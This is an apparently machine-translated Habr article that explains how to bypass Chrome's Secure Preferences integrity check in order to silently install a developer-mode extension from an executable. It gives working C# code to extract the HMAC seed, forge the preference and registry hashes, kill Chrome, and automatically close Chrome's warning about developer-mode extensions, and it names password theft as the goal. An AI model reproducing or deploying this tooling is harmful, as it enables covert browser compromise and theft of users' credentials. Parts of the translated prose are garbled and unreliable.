Chrome反向安装和扩展程序



美好的一天,亲爱的读者! Chrome正在更新,但是除了--load-extension之外,没有关于如何以编程方式在chrome中安装扩展程序的新文章-但这不是我们的选择,因为我们没有在寻找简单的方法。 今天,我将告诉您使用exe-shnik真正能够获得所有东西的方法:密码,更改内容,如何窃取等。 -但这不是号召性用语 ,而只是一篇文章供审阅。 所有的汁都切好了。

那么,什么使我们能够在开发人员模式下进行扩展呢? 嗯,就像常规扩展一样,它可以在所有站点上工作,例如,破解密码,实施广告等。 但是开发人员模式下的扩展提供了对另一个功能的访问,这似乎不是很重要,但可能很有用:我们可以访问文件系统。 是的,我们将从exe文件启动此漏洞利用,并且原则上我们实际上并不需要它,但是如果呢?

我们分析文件


因此,对于初学者来说,安装扩展名后您可以看到哪些文件会有所不同,我们可以发现它是%appdata%\ .. \ Local \ Google \ Chrome \ User Data \ <profile> \ Secure Preferences。 让我们复制内容,删除扩展名并恢复副本-bam在这里! 并且扩展再次起作用。 查看ID,您可以看到此键在更改两个值:extensions.settings.id和protection.macs.extensions.settings.id-第一个是设置,第二个是某种哈希。 我们爬上去看看-这是HMAC SHA256。 但是他从中得到什么呢? 让我们进入调试器,附加到chrome并从中加载符号
https://chromium-browser-symsrv.commondatastorage.googleapis.com

强奸铬


哇! 我们找到文件pref_hash_calculator.cc,下载并设置一个中断

 std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const 

运算-我们得到seed_-HMAC的密钥,我们还发现它连接了三行,并将结果作为HMACSHA256(device_id + path + value,seed_)。 好的,让我们看看我们的seed_-这是第一个令人烦恼的等待我们的地方:只是“ ChromeRegistryHashStoreValidationSeed”行-问,这是怎么了? 让我们看一下计算结果,将结果的哈希值与沿该路径的文件中的哈希值进行比较-我们很失望,但没有! “注册表”键中的关键字,我们进入注册表,看看-实际上,这是注册表中哈希值的键,我们将需要它。

借记,借记和仅此键在任何地方,怎么了? 现在,让我们看一下HMACSHA256的标准密钥应该保留多长时间? 64个字节,很可能不是行,而是某种字节。 排序? 没有时间! 第一个假设-我们的seed_在chrome的每个版本中都进行了硬编码-让我们尝试对二进制文件和chrome文件中64x个连续字节的所有选项进行排序。 我们编写了一个简单的脚本,大约一个小时后,我们得到了第一个结果:seed_位于resources.pak中。 让我们用谷歌搜索结构。



版本4,我们的是5。出了点问题,也许结构没有改变? 但是没有 经过一些尝试,我们得到的结构如下:4字节版本(5),4字节-编码?(1),2字节-记录数,2字节尚不清楚。 接下来是以下格式的条目:2个字节-ID,4个字节-相对于文件开头的偏移量。 我们正在寻找一个长度为64字节的部分-是的,我们找到了,这是我们的seed_。 现在,让我们编写一个函数以在resources.pak中搜索第4版和第5版文件的seed_:

 public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; } 

好的,让我们更改设置,并尝试替换哈希-失败。 在chrome排序中可以发现的第一件事是从值中删除了所有空对象。 好吧,据说-完成了。

再次失败-我们还需要从protection.macs生成相同的HMACSHA256,在这种情况下,必须省略路径。 太好了! 收到了。 但是,我们完全忘记了device_id-在哪里可以得到它? 在旧版本中,这是某些第三方RLZ库中的MachineID。 在新版本中,仅是PC的SID。 如何获得? 对于第二个选项和chrome的新版本:

 public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; } 

并且,对于旧版本:

 public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); } 

因此,仍然很有趣,可以设置并保存文件,但要关闭镶边:

  public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "  "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); } 

另外,请注意,现在打开浏览器时,将打开“在开发人员模式下禁用扩展程序”窗口-如何关闭它已经是每个人的选择。 我如何在我后面留下流,这将通过WinAPI关闭此窗口:

 public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } } 

祝你好运和道德黑客! 谁知道如何使用Yandex Browser做同样的事情-知道我是否已经尝试捡起来一个星期了,它不起作用,将非常有趣。

Source: https://habr.com/ru/post/zh-CN438898/


All Articles